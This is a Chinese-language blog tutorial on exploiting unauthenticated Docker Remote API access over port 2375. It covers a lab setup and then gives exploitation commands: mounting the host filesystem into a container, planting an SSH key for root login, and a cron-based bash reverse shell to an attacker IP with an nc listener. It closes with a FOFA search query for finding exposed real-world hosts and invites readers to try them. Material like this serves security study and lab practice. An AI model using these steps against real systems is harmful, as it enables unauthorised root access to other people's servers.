Docker未授权访问漏洞详解

目录

Docker简介

Docker未授权访问漏洞原理

Docker未授权访问漏洞复现

环境搭建

漏洞利用

写入密钥免密登录

写入计划任务反弹shell

fofa实战


Docker简介

Docker是一个开源的引擎,可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。

Docker未授权访问漏洞原理

又成Docker Remote API未授权访问漏洞,此API主要目的是取代命令行界面(赋有远程控制);Docker swarm是Docker下的分布化应用的本地集群,开放2375端口监听容器时会调用这个API,目的方便Docker集群管理和扩展。它绑定在0.0.0.0上,http会返回404page not found。

因为Docker这个特性,如果Docker开放tcp端口2375,且没有限制访问,攻击者可以通过这个端口来获取服务器权限。

Docker未授权访问漏洞复现

环境搭建

先说好,也可以使用vulhub环境搭建(docker/unauthorized-rce),但是这里为了更好的测试就使用docker搭建了。

准备一台centos虚拟机,搭建下载好Docker。

先进行文件备份

复制代码
cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

对其文件进行编辑

复制代码
vim /lib/systemd/system/docker.service

然后将下面一段代码加入文件结尾然后保存退出,作用就是开启docker的端口2375

复制代码
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

重新加载守护进程,以及重启docker

复制代码
sudo systemctl daemon-reload
sudo service docker restart

然后查看是否开放了远程访问端口2375

复制代码
systemctl status docker.service

active即开启成功:

漏洞利用

使用攻击机访问192.168.122.1:2375/version,如果能成功访问,即说明存在未授权访问漏洞。(或者直接扫描端口发现)

写入密钥免密登录

1、使用images命令查询目标系统存在的镜像

复制代码
docker -H tcp://192.168.122.1:2375 images

2、攻击机创建一个容器,并将宿主机的磁盘挂载到容器内

复制代码
docker -H tcp://192.168.122.1:2375 run -it -v /:/mnt 镜像ID /bin/bash

3、如果目标机器上没有镜像就需要先pull一个镜像到目标机上

复制代码
docker -H tcp://192.168.122.1:2375 pull busybox

4、生成一个ssh公钥

复制代码
 ssh-keygen -t rsa 

5、查看生成的公钥

复制代码
 cat /root/.ssh/id_rsa.pub

6、将公钥写入目标文件

bash 复制代码
vi authorized_keys

7、免密登录目标服务器

bash 复制代码
ssh root@目标ip

写入计划任务反弹shell

写入计划任务,目录/var/spool/cron

bash 复制代码
*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1

然后攻击机监听4444端口,一分钟后就能够反弹shell。

bash 复制代码
nc -lvnp 4444

fofa实战

可以在fofa搜索关键字port="2375"&&body="page not found"

然后根据上面的步骤进行复现,这里没有找到可以利用的就不复现,原理操作都一样。可以自行尝试。

参考文章:云安全笔记-Docker daemon api 未授权访问漏洞复现及利用-CSDN博客

相关推荐
背太阳的牧羊人10 分钟前
docker 中 什么是「卷」?(Volume)
运维·docker·容器
Le_ee13 分钟前
dvwa6——Insecure CAPTCHA
android·安全·网络安全·靶场·dvwa
Kila_16 分钟前
【iOS(swift)笔记-13】App版本不升级时本地数据库sqlite更新逻辑一
数据库·笔记
Kila_18 分钟前
【iOS(swift)笔记-14】App版本不升级时本地数据库sqlite更新逻辑二
数据库·笔记
Lester_110136 分钟前
嵌入式学习笔记 - FreeRTOS关于vApplicationGetIdleTaskMemory
笔记·stm32·学习·freertos
成都盛瑟传感技术有限公司1 小时前
云台式激光甲烷探测器:守护工业安全的“智慧之眼”
安全
大写-凌祁1 小时前
GLIDE论文阅读笔记与DDPM(Diffusion model)的原理推导
论文阅读·人工智能·笔记·python·深度学习·机器学习·计算机视觉
hao_wujing2 小时前
网络安全大模型理解
安全·web安全
禾木KG2 小时前
网络安全-等级保护(等保) 3-3-1 GB/T 36627-2018 附录A (资料性附录) 测评后活动、附 录 B (资料性附录)渗透测试的有关概念说明
网络·安全·web安全
Cyyyy_g2 小时前
网络安全防御指南:全方位抵御暴力破解攻击
网络·安全